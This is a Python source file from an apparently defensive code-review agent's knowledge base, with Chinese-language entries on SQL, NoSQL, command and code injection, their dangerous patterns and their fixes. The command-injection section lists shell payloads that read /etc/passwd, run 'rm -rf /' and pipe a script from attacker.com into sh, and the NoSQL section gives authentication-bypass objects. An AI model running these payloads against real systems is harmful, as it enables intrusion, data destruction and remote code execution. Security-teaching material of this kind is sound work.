CodeReview/backend/app/services/agent/knowledge/vulnerabilities/injection.py

274 lines
5.9 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

"""
注入类漏洞知识
"""
from ..base import KnowledgeDocument, KnowledgeCategory
SQL_INJECTION = KnowledgeDocument(
id="vuln_sql_injection",
title="SQL Injection",
category=KnowledgeCategory.VULNERABILITY,
tags=["sql", "injection", "database", "input-validation", "sqli"],
severity="critical",
cwe_ids=["CWE-89"],
owasp_ids=["A03:2021"],
content="""
SQL注入是一种代码注入技术攻击者通过在应用程序查询中插入恶意SQL代码来操纵数据库。
## 危险模式
### Python
```python
# 危险 - 字符串拼接
query = "SELECT * FROM users WHERE id = " + user_id
cursor.execute(f"SELECT * FROM users WHERE name = '{name}'")
query = "SELECT * FROM users WHERE id = %s" % user_id
# 危险 - ORM原始查询
User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'")
db.execute(text(f"SELECT * FROM users WHERE id = {user_id}"))
```
### JavaScript/Node.js
```javascript
// 危险
const query = `SELECT * FROM users WHERE id = ${userId}`;
connection.query("SELECT * FROM users WHERE name = '" + name + "'");
```
### Java
```java
// 危险
String query = "SELECT * FROM users WHERE id = " + userId;
Statement stmt = conn.createStatement();
stmt.executeQuery(query);
```
## 检测关键词
- execute, query, raw, cursor
- SELECT, INSERT, UPDATE, DELETE
- 字符串拼接 (+, f-string, format, %)
- WHERE, AND, OR 后跟变量
## 安全实践
1. 使用参数化查询/预编译语句
2. 使用ORM框架的安全API
3. 输入验证和类型检查
4. 最小权限原则
5. 使用存储过程
## 修复示例
```python
# 安全 - 参数化查询
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# 安全 - ORM
User.objects.filter(id=user_id)
# 安全 - SQLAlchemy
db.query(User).filter(User.id == user_id)
```
## 验证方法
1. 尝试单引号 ' 触发语法错误
2. 使用 OR 1=1 测试布尔注入
3. 使用 SLEEP() 测试时间盲注
4. 检查错误信息是否泄露数据库信息
""",
)
NOSQL_INJECTION = KnowledgeDocument(
id="vuln_nosql_injection",
title="NoSQL Injection",
category=KnowledgeCategory.VULNERABILITY,
tags=["nosql", "mongodb", "injection", "database"],
severity="high",
cwe_ids=["CWE-943"],
owasp_ids=["A03:2021"],
content="""
NoSQL注入针对MongoDB等NoSQL数据库通过操纵查询对象来绕过认证或提取数据。
## 危险模式
### MongoDB (Python)
```python
# 危险 - 直接使用用户输入构建查询
db.users.find({"username": username, "password": password})
# 攻击者可传入 {"$ne": ""} 绕过认证
# 危险 - $where操作符
db.users.find({"$where": f"this.name == '{name}'"})
```
### MongoDB (Node.js)
```javascript
// 危险
db.collection('users').find({username: req.body.username});
// 攻击者可传入 {$gt: ""} 或 {$ne: null}
```
## 攻击载荷示例
```json
// 绕过认证
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
// 正则注入
{"username": {"$regex": "^admin"}}
```
## 安全实践
1. 验证输入类型(确保是字符串而非对象)
2. 使用白名单验证
3. 避免使用$where操作符
4. 使用mongoose等ODM的类型验证
## 修复示例
```python
# 安全 - 类型验证
if not isinstance(username, str):
raise ValueError("Invalid username type")
db.users.find({"username": str(username)})
```
""",
)
COMMAND_INJECTION = KnowledgeDocument(
id="vuln_command_injection",
title="Command Injection",
category=KnowledgeCategory.VULNERABILITY,
tags=["command", "injection", "shell", "os", "system", "rce"],
severity="critical",
cwe_ids=["CWE-78"],
owasp_ids=["A03:2021"],
content="""
命令注入允许攻击者在主机操作系统上执行任意命令,可能导致完全系统控制。
## 危险模式
### Python
```python
# 危险
os.system("ping " + user_input)
os.popen("ls " + directory)
subprocess.call("ls " + directory, shell=True)
subprocess.Popen(cmd, shell=True)
commands.getoutput("cat " + filename)
# 危险 - eval/exec
eval(user_input)
exec(user_code)
```
### Node.js
```javascript
// 危险
exec("ls " + userInput);
execSync(`cat ${filename}`);
spawn("sh", ["-c", userCommand]);
```
### PHP
```php
// 危险
system("ping " . $ip);
exec("cat " . $file);
shell_exec($cmd);
passthru($command);
```
## 攻击载荷
```bash
; ls -la
| cat /etc/passwd
`whoami`
$(id)
&& rm -rf /
|| curl attacker.com/shell.sh | sh
```
## 安全实践
1. 避免使用shell=True
2. 使用参数列表而非字符串
3. 输入验证和白名单
4. 使用安全的替代API
5. 沙箱执行
## 修复示例
```python
# 安全 - 参数列表
subprocess.run(["ping", "-c", "4", validated_host], shell=False)
# 安全 - shlex转义
import shlex
subprocess.run(shlex.split(f"ping -c 4 {shlex.quote(host)}"))
```
""",
)
CODE_INJECTION = KnowledgeDocument(
id="vuln_code_injection",
title="Code Injection",
category=KnowledgeCategory.VULNERABILITY,
tags=["code", "injection", "eval", "exec", "rce"],
severity="critical",
cwe_ids=["CWE-94"],
owasp_ids=["A03:2021"],
content="""
代码注入允许攻击者注入并执行任意代码通常通过eval()等动态执行函数。
## 危险模式
### Python
```python
# 危险
eval(user_input)
exec(user_code)
compile(user_code, '<string>', 'exec')
# 危险 - 模板注入
template = Template(user_input)
render_template_string(user_input)
```
### JavaScript
```javascript
// 危险
eval(userInput);
new Function(userCode)();
setTimeout(userCode, 1000);
setInterval(userCode, 1000);
```
### PHP
```php
// 危险
eval($code);
assert($code);
preg_replace('/e', $code, $input); // PHP < 7
create_function('', $code);
```
## 安全实践
1. 永远不要eval用户输入
2. 使用AST解析代替eval
3. 使用沙箱环境
4. 白名单允许的操作
## 修复示例
```python
# 安全 - 使用ast.literal_eval处理数据
import ast
data = ast.literal_eval(user_input) # 只允许字面量
# 安全 - 使用json解析
import json
data = json.loads(user_input)
```
""",
)